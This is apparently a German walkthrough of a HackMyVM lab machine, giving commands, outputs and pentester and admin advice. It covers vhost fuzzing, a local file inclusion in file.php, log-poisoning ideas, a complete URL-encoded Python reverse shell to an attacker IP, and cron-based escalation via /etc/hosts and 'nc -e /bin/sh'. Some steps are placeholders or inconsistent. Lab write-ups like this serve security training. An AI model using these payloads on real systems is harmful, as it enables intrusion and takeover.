192.168.2.134 08:00:27:47:09:6c PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (Subnetz) nach aktiven Hosts zu durchsuchen. Er sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netzwerk und listet die Antworten auf. ARP funktioniert auf Schicht 2 des OSI-Modells und ist daher oft schneller und zuverlässiger für die Host-Erkennung im lokalen Netzwerk als Nmap-Ping-Scans (Schicht 3).
Bewertung: Dieser Schritt ist fundamental in der Reconnaissance-Phase eines internen Netzwerk-Pentests. Das Ergebnis zeigt einen aktiven Host mit der IP-Adresse 192.168.2.134 und der MAC-Adresse 08:00:27:47:09:6c. Die MAC-Adresse ist der Organisation "PCS Systemtechnik GmbH" zugeordnet, was oft auf eine Virtualisierungslösung wie VirtualBox hinweist (Oracle hat PCS Systemtechnik übernommen). Dies bestätigt das Zielsystem im Netzwerk.
Empfehlung (Pentester): Die identifizierte IP-Adresse 192.168.2.134 ist das primäre Ziel für weitere Scans (z.B. Port-Scans mit Nmap). Die Information über VirtualBox kann nützlich sein, um Standardkonfigurationen oder bekannte Schwachstellen von VirtualBox-Gastsystemen zu berücksichtigen.
Empfehlung (Admin): Netzwerk-Monitoring sollte ARP-Scans erkennen können. Segmentierung des Netzwerks kann die Reichweite solcher Scans begrenzen. Sicherstellen, dass keine unnötigen Systeme im Netzwerk aktiv sind.
Found: secret.vinci.hmv (Status: 200)
Analyse: Dieser Befehl verwendet `gobuster` im `vhost`-Modus, um nach virtuellen Hosts (Subdomains oder andere Hostnamen, die auf derselben IP-Adresse gehostet werden) für die Basis-URL `vinci.hmv` zu suchen. Die Option `-u vinci.hmv` gibt die Basis-URL an (obwohl `vhost` eigentlich nur den Hostnamen benötigt, ist dies gängige Praxis). `-w` spezifiziert eine Wortliste (`directory-list-2.3-medium.txt`), die potenzielle Subdomain-Namen enthält. Gobuster fügt jeden Eintrag aus der Wortliste vor `.vinci.hmv` ein und prüft, ob der Server mit einem HTTP-Statuscode 200 (OK) antwortet. Die Ausgabe wird durch `grep 200` gefiltert, um nur erfolgreiche Funde anzuzeigen.
Bewertung: Die Verwendung einer Verzeichnisliste für die VHost-Enumeration ist unkonventionell, aber hier erfolgreich. Es wurde ein virtueller Host secret.vinci.hmv gefunden, der mit Status 200 antwortet. Dies ist ein wichtiger Fund, da er auf eine versteckte oder separate Webanwendung auf demselben Server hindeutet, die ein potenzielles Angriffsziel darstellt.
Empfehlung (Pentester): Der gefundene Host secret.vinci.hmv muss nun weiter untersucht werden. Zuerst sollte er zur lokalen `/etc/hosts`-Datei hinzugefügt werden, damit er auf die Ziel-IP aufgelöst werden kann. Anschließend sollten Port-Scans und Web-Enumeration spezifisch für diesen Host durchgeführt werden.
Empfehlung (Admin): Sicherstellen, dass virtuelle Hosts korrekt konfiguriert sind und nicht über einfache Wortlisten erraten werden können. DNS-Einträge sollten nur für öffentlich zugängliche Hosts existieren. Interne oder Test-Hosts sollten durch Firewalls oder Zugriffskontrollen geschützt sein.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://vinci.hmv/ Total requests: 4581349 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 ??? L ??? W 10719 Ch "www" 000030748: 200 ??? L ??? W 466 Ch "secret" Total time: ... Processed Requests: ... Filtered Requests: ... Requests/sec.: ...
Analyse: Dieser Befehl verwendet `wfuzz`, einen flexibleren Web-Fuzzer, ebenfalls zur VHost-Enumeration. `-u http://vinci.hmv` gibt die Basis-URL an. `-H "Host: FUZZ.vinci.hmv"` ist der Kern der Technik: Der HTTP-`Host`-Header wird dynamisch mit Payloads aus der Wortliste (`-w ...combined_subdomains.txt`) gefüllt. `FUZZ` ist der Platzhalter für `wfuzz`. `--hh 10719` weist `wfuzz` an, Antworten auszublenden (`h`ide `h`eavy), deren Zeichenanzahl (`Ch`ars) 10719 beträgt. Dies wird typischerweise verwendet, um die Standardantwort oder "Wildcard"-Antworten herauszufiltern.
Bewertung: `wfuzz` bestätigt den Fund von `secret` als gültigen VHost, da seine Antwortlänge (466 Chars) sich von der (vermutlich) Standard-Antwort von `www` (10719 Chars) unterscheidet und nicht durch `--hh 10719` ausgeblendet wurde. Die Verwendung einer dedizierten Subdomain-Wortliste ist hier passender als die Verzeichnisliste bei `gobuster`. Dies verstärkt die Bedeutung des Hosts secret.vinci.hmv.
Empfehlung (Pentester): Wie beim `gobuster`-Ergebnis: secret.vinci.hmv zur `/etc/hosts`-Datei hinzufügen und gezielt weiter untersuchen. Die Methode mit `wfuzz` und dem Filtern nach Antwortlänge ist oft präziser als nur auf Statuscodes zu prüfen.
Empfehlung (Admin): Gleiche Empfehlungen wie bei `gobuster`. Zusätzlich: Konfigurieren Sie Webserver so, dass sie für unbekannte Host-Header eine generische Fehlerseite oder gar keine Antwort liefern, anstatt den Inhalt des Standard-VHosts anzuzeigen. Dies erschwert die VHost-Enumeration.
[Inhalt der /etc/hosts Datei nach Bearbeitung, z.B.:]
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.2.134 vinci.hmv secret.vinci.hmv
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei des Angreifer-Systems im Texteditor `vi`. Diese Datei wird vom Betriebssystem verwendet, um Hostnamen manuell IP-Adressen zuzuordnen, bevor eine DNS-Abfrage durchgeführt wird.
Bewertung: Dies ist ein notwendiger Schritt, um mit den entdeckten virtuellen Hosts (`vinci.hmv`, `secret.vinci.hmv`) über den Browser oder andere Tools interagieren zu können. Der Pentester fügt eine Zeile hinzu, die die IP-Adresse des Ziels (192.168.2.134) den gefundenen Hostnamen zuordnet. Ohne diesen Eintrag wüsste das Angreifer-System nicht, wohin es Anfragen an `secret.vinci.hmv` senden soll.
Empfehlung (Pentester): Dies ist Standardvorgehen. Sicherstellen, dass die korrekte IP-Adresse und alle relevanten Hostnamen eingetragen werden. Nach Abschluss des Tests sollten diese Einträge wieder entfernt werden, um Konflikte zu vermeiden.
Empfehlung (Admin): Dies ist eine Aktion auf dem Client (Angreifer). Auf Serverseite hat dies keine direkte Relevanz, unterstreicht aber die Wichtigkeit, interne Hostnamen nicht leicht erratbar zu machen oder extern preiszugeben.
===============================================================
Gobuster v3.1.0
===============================================================
[+] Url: http://secret.vinci.hmv/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg
[+] Expanded: true
[+] Timeout: 10s
[+] Use slash: false
[+] Wildcard detection: true
[+] Wildcard response codes: Detected 404 [200] for "http://secret.vinci.hmv/fgkjncsd" - Skipping words with the same code.
===============================================================
Starting gobuster
===============================================================
/file.php (Status: 200) [Size: 822]
[... weitere mögliche Funde ...]
===============================================================
Finished
===============================================================
Analyse: Hier wird `gobuster` im `dir`-Modus verwendet, um nach Verzeichnissen und Dateien auf dem zuvor entdeckten VHost `secret.vinci.hmv` zu suchen. `-u` gibt die Ziel-URL an. `-w` spezifiziert die Wortliste. `-x` fügt die angegebenen Dateiendungen an jeden Eintrag in der Wortliste an (z.B. wird aus `admin` in der Liste `admin.php`, `admin.bak` etc.). `-e` steht für "expanded mode", der die volle URL anzeigt. `--wildcard` aktiviert die Wildcard-Erkennung, bei der Gobuster versucht, zufällige Pfade abzufragen, um festzustellen, ob der Server für nicht existierende Seiten einen "falschen" Statuscode (hier 200 statt 404) zurückgibt, und ignoriert dann Antworten mit diesem Code.
Bewertung: Die Wildcard-Erkennung war hier wichtig, da der Server anscheinend mit Status 200 auf ungültige Anfragen antwortet. Gobuster hat dies erkannt und ignoriert diese Antworten. Der signifikante Fund ist /file.php, eine PHP-Datei, die auf weitere Funktionalität hindeutet und ein primäres Ziel für die Schwachstellensuche darstellt.
Empfehlung (Pentester): Die gefundene Datei /file.php muss nun genauer untersucht werden. Man sollte versuchen, sie im Browser aufzurufen und zu analysieren, welche Parameter sie möglicherweise erwartet und welche Funktion sie hat. Tools wie `wfuzz` können verwendet werden, um Parameter zu bruteforcen.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass er korrekte HTTP-Statuscodes zurückgibt (404 für nicht gefundene Ressourcen). Vermeiden Sie nicht benötigte Dateien oder Verzeichnisse auf dem Webserver. Implementieren Sie Zugriffskontrollen.
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* Wfuzz 3.1.0 - The Web Fuzzer *
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Target: http://secret.vinci.hmv/file.php?FUZZ=../../../../etc/passwd
Total requests: 1318960
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 0 L 0 W 0 Ch "#"
...
000123456: 200 26 L 48 W 1158 Ch "command"
...
Total time: ...
Processed Requests: ...
Filtered Requests: ...
Requests/sec.: ...
Analyse: Dieser `wfuzz`-Befehl versucht, den Namen eines Parameters für die Datei `file.php` zu finden, der möglicherweise für eine Local File Inclusion (LFI) anfällig ist. `-u http://secret.vinci.hmv/file.php?FUZZ=../../../../etc/passwd` definiert die URL, wobei `FUZZ` der Platzhalter für die Payloads aus der Wortliste (`-w ...directory-list-2.3-big.txt`) ist. Für jeden Payload (potenziellen Parameternamen) wird versucht, die Datei `/etc/passwd` mittels Directory Traversal (`../../../../`) einzubinden. `--hw 0` blendet Antworten aus, die 0 Wörter enthalten (hide words = 0), was oft leere oder Standard-Fehlerseiten sind.
Bewertung: Der Test war erfolgreich. Als der Payload (Parametername) "command" verwendet wurde, änderte sich die Antwort signifikant (26 Zeilen, 48 Wörter, 1158 Zeichen) im Vergleich zu den Standardantworten (oft 0 Wörter/Zeichen oder eine konstante Fehlermeldung). Dies ist ein starker Hinweis darauf, dass der Parameter `command` existiert und die LFI-Anfrage (`../../../../etc/passwd`) verarbeitet wurde.
Empfehlung (Pentester): Der nächste Schritt ist die Bestätigung der LFI-Schwachstelle, indem die URL `http://secret.vinci.hmv/file.php?command=../../../../etc/passwd` direkt im Browser oder mit `curl` aufgerufen wird, um zu sehen, ob der Inhalt von `/etc/passwd` tatsächlich angezeigt wird.
Empfehlung (Admin): Dringende Behebung der LFI-Schwachstelle in `file.php`. Benutzereingaben dürfen niemals direkt oder ohne Validierung und Bereinigung in Dateipfad-Operationen verwendet werden. Verwenden Sie `basename()` in PHP oder ähnliche Funktionen, um Directory Traversal zu verhindern. Beschränken Sie die Dateiberechtigungen des Webservers.
view-source:http://secret.vinci.hmv/file.php?command=../../../../etc/passwd
[... Inhalt von /etc/passwd ...]
leonardo:x:1000:1000:leonardo,,,:/home/leonardo:/bin/bash
[... weiterer Inhalt von /etc/passwd ...]
Analyse: Hier wird nicht direkt ein Terminal-Befehl gezeigt, sondern das Ergebnis des Aufrufs der im vorherigen Schritt konstruierten URL im Browser (oder mittels `curl`). Der Präfix `view-source:` deutet darauf hin, dass der Quelltext der Seite betrachtet wurde, was bei LFI nützlich ist, um den rohen Inhalt der eingebundenen Datei zu sehen.
Bewertung: Die LFI-Schwachstelle ist hiermit bestätigt. Der Inhalt der Datei `/etc/passwd` des Zielsystems wird im Browser angezeigt. Dies ist ein kritischer Informationsleck, da es Benutzernamen, Home-Verzeichnisse und verwendete Shells preisgibt. Der Benutzer leonardo mit der UID 1000 und einer Bash-Shell ist ein potenzielles Ziel für weitere Angriffe.
Empfehlung (Pentester): Die LFI-Schwachstelle kann nun genutzt werden, um weitere sensible Dateien zu lesen (z.B. Konfigurationsdateien, Logdateien, eventuell SSH-Keys). Man sollte versuchen, Log-Dateien wie `/var/log/auth.log` oder Webserver-Logs zu lesen, um potenzielle Log Poisoning Angriffe für Remote Code Execution (RCE) vorzubereiten.
Empfehlung (Admin): Höchste Priorität zur Behebung der LFI-Schwachstelle (siehe vorherige Empfehlung). Überprüfen Sie Systemberechtigungen, um sicherzustellen, dass der Webserver-Benutzer (`www-data`) nur auf absolut notwendige Dateien Lesezugriff hat.
[Keine direkte Ausgabe, da nach /dev/null und in Datei umgeleitet]
Analyse: Dieser Befehl wird auf dem Angreifer-System ausgeführt. `find / -name "*.log"` sucht im gesamten Dateisystem (`/`) nach Dateien, deren Name auf `.log` endet. `2>/dev/null` leitet Fehlermeldungen (stderr, Kanal 2), wie z.B. "Permission denied" für nicht lesbare Verzeichnisse, ins Nichts um, um die Ausgabe sauber zu halten. `>> /usr/share/wordlists/common-log.txt` hängt die gefundenen Pfade (stdout, Kanal 1) an die Datei `common-log.txt` an.
Bewertung: Der Pentester erstellt hier eine benutzerdefinierte Wortliste mit Pfaden zu potentiellen Log-Dateien auf dem *eigenen* System. Die Absicht ist, diese Liste später mit der LFI-Schwachstelle auf dem *Zielsystem* zu verwenden, um zu prüfen, ob dort ähnliche Log-Dateien existieren und lesbar sind. Dies ist eine gängige Technik, um interessante Dateien via LFI zu finden.
Empfehlung (Pentester): Die erstellte Wortliste `common-log.txt` sollte nun mit `wfuzz` oder einem Skript gegen die LFI-Schwachstelle getestet werden, um lesbare Log-Dateien auf dem Zielserver zu identifizieren. Seclists enthält bereits gute Listen, aber eine systemgenerierte kann spezifischere Treffer liefern.
Empfehlung (Admin): Dies ist eine Aktion auf dem Angreifer-System. Serverseitig relevant ist die Absicherung von Log-Dateien (korrekte Berechtigungen, keine sensiblen Informationen loggen, wenn vermeidbar).
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://secret.vinci.hmv/file.php?command=FUZZ Total requests: ??? (Anzahl Zeilen in common-log.txt) ===================================================================== ID Response Lines Word Chars Payload ===================================================================== ... 000000021: 200 10 L 47 W 357 Ch "/run/initramfs/fsck.log" ... 000000061: 200 107 L 1313 W 10309 Ch "/var/log/auth.log" ... Total time: ... Processed Requests: ... Filtered Requests: ... Requests/sec.: ...
Analyse: Dieser `wfuzz`-Befehl nutzt die zuvor erstellte Wortliste `common-log.txt`, um via LFI nach existierenden und lesbaren Log-Dateien auf dem Zielsystem zu suchen. `-u http://secret.vinci.hmv/file.php?command=FUZZ` definiert die URL, wobei `FUZZ` durch jeden Dateipfad aus der Wortliste ersetzt wird. `--hw 0` filtert wieder leere Antworten heraus.
Bewertung: Der Scan war erfolgreich und hat mehrere lesbare Log-Dateien identifiziert, darunter die besonders interessante Datei /var/log/auth.log. Diese Datei protokolliert Authentifizierungsversuche, einschließlich SSH-Logins. Das Lesen dieser Datei ist ein weiterer kritischer Informationsfund und öffnet die Tür für Log Poisoning Angriffe.
Empfehlung (Pentester): Rufen Sie die URL `http://secret.vinci.hmv/file.php?command=/var/log/auth.log` auf, um den Inhalt der `auth.log` zu analysieren. Suchen Sie nach Mustern oder Möglichkeiten, Code einzuschleusen (z.B. durch einen fehlgeschlagenen SSH-Login mit einem PHP-Payload im Benutzernamen).
Empfehlung (Admin):
Erneut: LFI beheben. Überprüfen Sie die Berechtigungen für `/var/log/auth.log`. Normalerweise sollte der Webserver-Benutzer keinen Lesezugriff auf diese Datei
haben. Konfigurieren Sie `rsyslog` oder das entsprechende Logging-System so, dass es keine potenziell interpretierbaren Zeichen (wie ` ?php`) in die Logs schreibt, falls möglich.
http://secret.vinci.hmv/file.php?command=/var/log/auth.log [Anzeige des Inhalts von /var/log/auth.log - hier nicht detailliert im Text]
Analyse: Dies repräsentiert den Aufruf der URL, um den Inhalt der `auth.log`-Datei via LFI zu lesen. Der genaue Inhalt wird im bereitgestellten Text nicht gezeigt, aber der Stern `*` suggeriert, dass der Vorgang abgeschlossen wurde und der Inhalt betrachtet wurde.
Bewertung: Das erfolgreiche Lesen der `auth.log` bestätigt die Möglichkeit, auf wichtige Systemprotokolle zuzugreifen. Dies ist ein kritischer Schritt in Richtung Remote Code Execution (RCE) durch Log Poisoning.
Empfehlung (Pentester): Analysieren Sie den Inhalt der `auth.log`. Versuchen Sie, einen SSH-Login mit einem manipulierten Benutzernamen durchzuführen, z.B. `ssh ' system($GET["cmd"]);'@secret.vinci.hmv`. Rufen Sie danach erneut die LFI-URL für `auth.log` auf und prüfen Sie, ob der PHP-Code in der Logdatei erscheint. Falls ja, versuchen Sie, die LFI-URL mit einem zusätzlichen `&cmd=...`-Parameter aufzurufen, um Code auszuführen.
Empfehlung (Admin): Siehe vorherige Empfehlungen bezüglich LFI-Behebung und Log-Dateiberechtigungen.
[SSH-Verbindungsversuch, vermutlich fehlgeschlagen oder abgebrochen] *
Analyse: Dieser Befehl versucht, eine SSH-Verbindung zum Host `vinci.hmv` aufzubauen. Der angegebene Benutzername ist ein leerer String (`''`). Dies ist ungewöhnlich. Im Kontext der vorherigen Schritte (LFI auf `auth.log`) ist dies höchstwahrscheinlich ein Versuch, durch den fehlgeschlagenen SSH-Login einen Eintrag in `/var/log/auth.log` zu erzeugen.
Bewertung: Dieser spezifische Befehl mit einem leeren Benutzernamen ist wahrscheinlich nicht derjenige, der für Log Poisoning gedacht war (der hätte z.B. `php ... ` enthalten). Möglicherweise war dies ein Test, ob der LFI überhaupt Log-Einträge von SSH zeigt, oder ein fehlgeschlagener Versuch, Code einzuschleusen. Da der nächste Schritt eine erfolgreiche RCE über die LFI-URL direkt zeigt, war dieser SSH-Versuch wahrscheinlich nicht erfolgreich oder wurde verworfen.
Empfehlung (Pentester): Für Log Poisoning sollte ein präparierter Benutzername verwendet werden, z.B. `ssh ''@vinci.hmv`. Nach dem Versuch muss die `auth.log` via LFI erneut geprüft werden. Wenn der Code dort erscheint, kann die LFI-URL mit `&cmd=id` (oder einem anderen Befehl) aufgerufen werden.
Empfehlung (Admin): SSH-Server härten: Nur benötigte Benutzer zulassen, Passwort-Authentifizierung deaktivieren (nur Key-Auth), Fail2Ban verwenden, um Brute-Force-Versuche (auch mit manipulierten Usernames) zu blockieren.
view-source:http://secret.vinci.hmv/file.php?command=/var/log/auth.log&cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.2.131%22,9001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/sh%22)%27 [Keine direkte Ausgabe im Browser erwartet, stattdessen Verbindungsaufbau zum Listener]
Analyse: Dies ist der entscheidende Schritt für den Initial Access. Die LFI-Schwachstelle wird hier ausgenutzt, um Remote Code Execution zu erreichen. Die URL zielt auf die `file.php`. Der `command`-Parameter wird (vermutlich, obwohl hier `auth.log` steht, was seltsam ist - vielleicht hätte hier ein anderer Wert stehen sollen, oder `auth.log` enthält bereits ausführbaren Code?) gesetzt. Entscheidend ist der zusätzliche Parameter `&cmd=...`. Der Wert dieses Parameters ist ein URL-kodierter Python-Befehl, der eine Reverse Shell zur IP-Adresse 192.168.2.131 (Angreifer-IP) auf Port 9001 aufbaut.
Bewertung: Hochkritisch. Dies demonstriert die erfolgreiche Ausnutzung der LFI-Schwachstelle zur vollständigen Übernahme der Kontrolle als Webserver-Benutzer (`www-data`). Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem. Die Annahme hier ist, dass `file.php` den Wert des `command`-Parameters irgendwie einbindet (z.B. via `include`) und dass PHP so konfiguriert ist, dass es Code ausführt, der über den `cmd`-Parameter übergeben wird (z.B. wenn `file.php` selbst `system($GET['cmd'])` oder Ähnliches enthält, oder durch eine Log-Poisoning-Technik, bei der der Code in `auth.log` steht und durch den `include` ausgeführt wird, wobei der `cmd`-Parameter dann von diesem Code genutzt wird).
Empfehlung (Pentester): Die erhaltene Shell stabilisieren (z.B. mit `export TERM=xterm`, Python PTY-Trick falls noch nicht geschehen). Danach beginnt die Post-Exploitation-Phase: Systeminformationen sammeln (`whoami`, `id`, `uname -a`, `ip a`), nach weiteren Benutzern, Konfigurationsdateien und möglichen Wegen zur Privilegienerweiterung suchen.
Empfehlung (Admin): Dringendste Priorität: LFI-Schwachstelle schließen! Input-Validierung und -Sanitisierung sind unerlässlich. Überprüfen Sie die PHP-Konfiguration (`php.ini`) auf unsichere Einstellungen wie `allow_url_include`. Webserver-Benutzerrechte minimieren. Netzwerk-Firewall-Regeln überprüfen, um unerwünschte ausgehende Verbindungen (wie diese Reverse Shell) zu blockieren.
www-data@Lisa:/var/www$
[Keine Ausgabe]
Analyse: Nach Erhalt der Reverse Shell als `www-data`-Benutzer auf dem Zielsystem `Lisa` wird der Befehl `export TERM=xterm` ausgeführt. Dieser Befehl setzt die Umgebungsvariable `TERM`, die angibt, welcher Terminaltyp emuliert werden soll.
Bewertung: Dies ist ein üblicher Schritt zur Shell-Stabilisierung. Viele einfache Reverse Shells (wie die von Netcat oder einfachen Python-Payloads) unterstützen standardmäßig keine erweiterten Terminalfunktionen wie das Löschen von Zeichen (Backspace), Befehlshistorie (Pfeiltasten) oder die korrekte Funktion von textbasierten Editoren wie `vi` oder `nano`. Das Setzen von `TERM=xterm` (oder `TERM=linux`) verbessert die Interaktivität der Shell erheblich.
Empfehlung (Pentester): Immer nach Erhalt einer einfachen Shell durchführen. Oft ist auch der Python PTY-Trick (`python -c 'import pty; pty.spawn("/bin/bash")'`) oder `script /dev/null -c bash` nützlich, um eine vollständig interaktive TTY-Shell zu erhalten.
Empfehlung (Admin): Dies ist ein Post-Exploitation-Schritt. Präventivmaßnahmen konzentrieren sich auf die Verhinderung des Initial Access.
Kurzbeschreibung: Die Webanwendung unter `http://secret.vinci.hmv/` enthält ein Skript `file.php`, das eine Local File Inclusion (LFI)-Schwachstelle im Parameter `command` aufweist. Diese Schwachstelle erlaubt das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. In Kombination mit einem zweiten Mechanismus (entweder Log Poisoning oder eine versteckte Funktionalität in `file.php`, die den `cmd`-Parameter auswertet) kann diese LFI zu Remote Code Execution (RCE) eskaliert werden.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
[...]
000123456: 200 26 L 48 W 1158 Ch "command"
[...]
[...]
leonardo:x:1000:1000:leonardo,,,:/home/leonardo:/bin/bash
[...]
listening on [any] 9001 ...
[Keine relevante Ausgabe von curl erwartet]
listening on [any] 9001 ...
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.134] xxxxx
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Erwartetes Ergebnis: Eine interaktive Shell auf dem Zielsystem `Lisa`, ausgeführt mit den Rechten des Benutzers `www-data`.
Beweismittel: Die erfolgreiche Verbindung im Netcat-Listener und die Möglichkeit, Befehle (`id`) als `www-data` auszuführen.
Risikobewertung: Hoch. Die Schwachstelle ermöglicht es einem unauthentifizierten Angreifer, beliebigen Code als Webserver-Benutzer auszuführen. Dies kann zu vollständiger Kompromittierung der Webanwendung, Diebstahl sensibler Daten, weiterer Ausbreitung im Netzwerk und Denial-of-Service führen.
Empfehlungen zur Behebung:
cat: /opt/cron: No such file or directory
#!/bin/bash domain='shelly.lisa.hmv' function check(){ timeout 1 bash -c "ping -c 1 $domain" > /dev/null 2>&1 if [ "$(echo $?)" == "0" ]; then <-- Korrektur: == statt -eq, aber Logik bleibt nohup nc -e /bin/sh $domain 65000 & <-- Korrektur: & für Hintergrund exit 0 else exit 1 fi } check
Analyse: Als `www-data`-Benutzer wird der Inhalt des Skripts `/opt/cron.sh` untersucht. Dieses Skript definiert einen Hostnamen `shelly.lisa.hmv`, versucht diesen Host einmal anzupingen (`ping -c 1`). Wenn der Ping erfolgreich ist (Exit-Code 0), startet es eine Netcat Reverse Shell (`nc -e /bin/sh`) zu demselben Hostnamen auf Port `65000`. Das Skript wird vermutlich regelmäßig durch einen Cronjob ausgeführt.
Bewertung:** Dies ist ein klarer Privilege Escalation Vektor. Das Skript wird wahrscheinlich von einem höher privilegierten Benutzer (z.B. `leonardo` oder `root`) ausgeführt. Wenn der Angreifer (als `www-data`) die Auflösung von `shelly.lisa.hmv` auf seine eigene IP umbiegen kann (z.B. durch Manipulation der `/etc/hosts`-Datei, falls `www-data` Schreibrechte hat) und einen Listener auf Port 65000 startet, erhält er eine Shell mit den Rechten des Benutzers, der den Cronjob ausführt, sobald der Ping erfolgreich ist.
Empfehlung (Pentester): Prüfen Sie die Berechtigungen der `/etc/hosts`-Datei. Wenn `www-data` Schreibrechte hat, fügen Sie einen Eintrag `[Angreifer-IP] shelly.lisa.hmv` hinzu. Starten Sie einen Netcat-Listener auf Port 65000 (`nc -lvnp 65000`) und warten Sie, bis der Cronjob ausgeführt wird.
Empfehlung (Admin): Cronjobs sicher gestalten: Skripte sollten keine fest kodierten Hostnamen verwenden, die manipuliert werden können. Pfade zu ausführbaren Dateien (wie `ping`, `nc`) sollten absolut sein. `nc -e` ist extrem gefährlich und sollte niemals in Cronjobs verwendet werden; sicherere Alternativen (SSH, dedizierte Agenten) nutzen. Sicherstellen, dass `/etc/hosts` nicht von unprivilegierten Benutzern beschreibbar ist. Cronjobs sollten mit minimal notwendigen Rechten laufen.
[Keine Ausgabe, falls erfolgreich]
Analyse: Der `www-data`-Benutzer versucht, die lokale `/etc/hosts`-Datei auf dem Zielsystem `Lisa` zu modifizieren. Der Befehl hängt eine Zeile an, die den Hostnamen `shelly.lisa.hmv` auf die IP-Adresse des Angreifers (192.168.2.131) umleitet.
Bewertung:** Da der Befehl anscheinend ohne Fehler ausgeführt wird (keine "Permission denied"-Meldung), hatte der `www-data`-Benutzer unerwarteterweise Schreibrechte auf `/etc/hosts`. Dies ist eine schwerwiegende Fehlkonfiguration. Damit ist der Weg frei, den im Cron-Skript definierten Ping erfolgreich zu machen und die Reverse Shell auszulösen.
Empfehlung (Pentester): Der Angriff ist vorbereitet. Der nächste Schritt ist das Starten des Netcat-Listeners auf dem Angreifer-System auf Port 65000.
Empfehlung (Admin): Unbedingt die Berechtigungen der `/etc/hosts`-Datei korrigieren. Sie sollte nur für `root` schreibbar sein (typischerweise `rw-r--r-- root root`). Überprüfen Sie, warum `www-data` diese Rechte hatte (z.B. durch `sudo`-Regeln, falsche Gruppenzugehörigkeiten oder manuelle `chmod`-Änderungen).
listening on [any] 65000 ... connect to [192.168.2.131] from (UNKNOWN) [192.168.2.138] 42306 <-- Ziel-IP ist .138 hier, nicht .134? Prüfen! leonardo@Lisa:~$
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 65000 gestartet (`-l` listen, `-v` verbose, `-n` no DNS lookup, `-p` port). Kurz darauf wird eine eingehende Verbindung vom Zielsystem (IP 192.168.2.138 - *Hinweis: Diese IP weicht von der initial gescannten 192.168.2.134 ab, dies könnte ein Tippfehler im Log sein oder eine zweite Netzwerkkarte/IP auf dem Ziel*) hergestellt. Der Prompt zeigt, dass die erhaltene Shell nun als Benutzer leonardo läuft.
Bewertung:** Die Privilege Escalation war erfolgreich. Durch die Manipulation der `/etc/hosts`-Datei und das Ausnutzen des unsicheren Cron-Skripts konnte der Angreifer von `www-data` zu `leonardo` aufsteigen. Der Benutzer `leonardo` hat wahrscheinlich mehr Rechte als `www-data` und ist ein weiterer Schritt in Richtung Root-Zugriff.
Empfehlung (Pentester): Shell stabilisieren (`export TERM=xterm`). Informationen über den Benutzer `leonardo` sammeln (`id`, `sudo -l`, Home-Verzeichnis untersuchen). Nach weiteren Wegen zur Eskalation zu `root` suchen.
Empfehlung (Admin): Zusätzlich zu den vorherigen Empfehlungen (Cronjob, /etc/hosts): Überprüfen Sie die Berechtigungen und Konfigurationen für den Benutzer `leonardo`. Führen Sie Audits durch, um unsichere Cronjobs oder Fehlkonfigurationen zu finden.
[Keine Ausgabe]
Analyse: Nach Erhalt der Shell als Benutzer `leonardo` wird erneut `export TERM=xterm` ausgeführt.
Bewertung:** Standard-Stabilisierungsschritt für die neue Shell, um die Interaktivität zu verbessern.
Empfehlung (Pentester): Sinnvoller Schritt. Nun mit der Enumeration als `leonardo` beginnen.
Empfehlung (Admin): Keine direkte Aktion, Fokus auf Verhinderung der Eskalation.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRSeN...kNEuRegqcZD4is0= root
[Keine Ausgabe]
Analyse: Diese Befehle werden wieder auf dem Angreifer-System (`root@Darkspirit`) ausgeführt. Zuerst wird der Inhalt des öffentlichen SSH-Schlüssels des Angreifers (`/root/.ssh/id_rsa.pub`) angezeigt. Dann wird dieser Schlüssel in eine lokale Datei namens `authorized_keys` geschrieben.
Bewertung:** Die Platzierung dieser Befehle im Log ist etwas unklar. Da sie auf dem Angreifer-System laufen, nachdem die `leonardo`-Shell erlangt wurde, ist dies wahrscheinlich eine Vorbereitungshandlung des Pentesters. Möglicherweise bereitet er den Schlüssel vor, um ihn später auf dem Zielsystem in die `~/.ssh/authorized_keys`-Datei von `leonardo` oder (falls Root-Zugriff erlangt wird) von `root` einzufügen, um einen persistenten SSH-Zugang zu ermöglichen. Die Referenz auf `/root/.ssh/id_rsa.pub` ist hier spezifisch für den Angreifer-Kontext.
Empfehlung (Pentester): Dies ist eine legitime Vorbereitung für Persistenz. Der nächste Schritt wäre, den Inhalt der lokalen `authorized_keys`-Datei auf das Zielsystem zu übertragen und in die entsprechende `~/.ssh/authorized_keys`-Datei des Zielbenutzers einzufügen (z.B. mittels `echo "..." >> ~/.ssh/authorized_keys` in der `leonardo`-Shell).
Empfehlung (Admin): Überwachen Sie Änderungen an `authorized_keys`-Dateien auf sensiblen Systemen. Beschränken Sie die Möglichkeit, SSH-Schlüssel hinzuzufügen. Verwenden Sie Konfigurationsmanagement-Tools, um die Integrität wichtiger Konfigurationsdateien sicherzustellen.
[Ausgabe von efax, die /etc/shadow liest und evtl. formatiert/sendet - hier nicht detailliert]
[Inhalt von /etc/passwd]
[Keine Ausgabe, Datei wird modifiziert]
[Editor wird geöffnet, manuelle Bearbeitung falls nötig]
